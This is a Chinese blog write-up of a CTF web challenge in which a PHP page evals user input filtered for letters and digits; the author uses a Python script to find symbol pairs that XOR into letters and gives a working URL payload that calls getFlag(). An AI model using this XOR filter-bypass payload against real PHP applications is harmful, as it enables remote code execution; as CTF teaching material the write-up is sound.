文档章节

WEB部分题目writeup

o
 osc_1ee7cxmx
发布于 2018/08/06 19:23
字数 406
阅读 0
收藏 0
php

MEIZIJIU_PHP

题目链接:

http://202.112.51.184:20001/

打开网页出现一段PHP代码:

代码大意就是如果得到的code不为空则执行下列操作:

如果code长度大于40就显示LONG,如果code匹配到正则表达式中出现的字符就显示NO,否则执行code(即若code值正确则可以拿到flag)。

看到下面的hint,上面显示通过getFlag()函数可以拿到flag,那么,我们的目标就是绕过PHP的字符过滤,在code中执行getFlag()函数。

根据正则表达式,可以看出所有字母和数字被过滤了,那么我们就需要将getFlag几个字母通过转换表达。

目前想到一种较为麻烦的:

 1 # -*- coding:utf-8 -*-
 2 list=[' ','*','~',']','$','@','!','%','&','(',')','_','=','{','}','[','?','\\','/','.','\'',';',':','<','>','+','-','^','`','|','.',',']
 3 for i in range(len(list)):
 4     for j in range(len(list)):
 5         str=chr(ord(list[i])^ord(list[j]))
 6         if(str=='a'):
 7             print list[i],list[j]
 8             break;
 9 
10 print 'OK'

然后随便选一组贴在网址后面,如:

http://202.112.51.184:20001/?code=$_=(%27][%2B:@_%3C%27^%27:%3E_|,%3E[%27);$_();

(网页自动转义了),则可以得到flag:

FLAG{Php_zezeze}

需要注意的是,通过脚本得到的一些字符是URL保留字,需要再换种方式表示:

URL中的保留字
特殊字符代表含义替换内容
+ URL 中+号表示空格 %2B 
空格 URL中的空格可以用+号或者编码 %20 
/ 分隔目录和子目录 %2F 
? 分隔实际的URL和参数 %3F 
% 指定特殊字符 %25 
# 表示书签 %23 
& URL 中指定的参数间的分隔符 %26 
= URL 中指定参数的值 %3D

 

 

 

o
粉丝 0
博文 500
码字总数 0
作品 0
私信 提问
加载中
请先登录后再评论。

暂无文章

git 为项目设置用户名/邮箱/密码

1.找到项目所在目录下的 .git,进入.git文件夹,然后执行如下命令分别设置用户名和邮箱 git config user.name "Affandi" git config user.email "123333333@qq.com" 然后执行命令查看con......

有时很滑稽
49分钟前
0
0
如何从int转换为String? - How do I convert from int to String?

问题: I'm working on a project where all conversions from int to String are done like this: 我正在一个项目中,所有从int到String转换都是这样完成的: int i = 5;String strI = "" ......

javail
今天
10
0
Vue+Spring Data JPA+MySQL 增查改删

视频讲解: https://www.bilibili.com/video/BV16i4y1G7i2/ 工程概述: 前后端分离,进行简单增查改删(CRUD) 前端使用VUE 后端使用Spring Data JPA 数据库使用MySQL #EmployeeController.jav...

潘文海
今天
13
0
我花了一个星期,做出了公司的管理系统,只需几个步骤!

我是企业的管理人员,公司发展到现阶段,感觉进入到了瓶颈期,每个员工的工作都已经饱和,很难再挤出时间做其它的事情,需要一款合适的管理软件来协作我们的工作。本来打算买一套管理软件就行...

科技那些事儿
今天
19
0
如何从Android应用程序获取崩溃数据? - How do I obtain crash-data from my Android application?

问题: How can I get crash data (stack traces at least) from my Android application? 如何从我的Android应用程序获取崩溃数据(至少是堆栈跟踪)? At least when working on my own de......

技术盛宴
今天
16
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部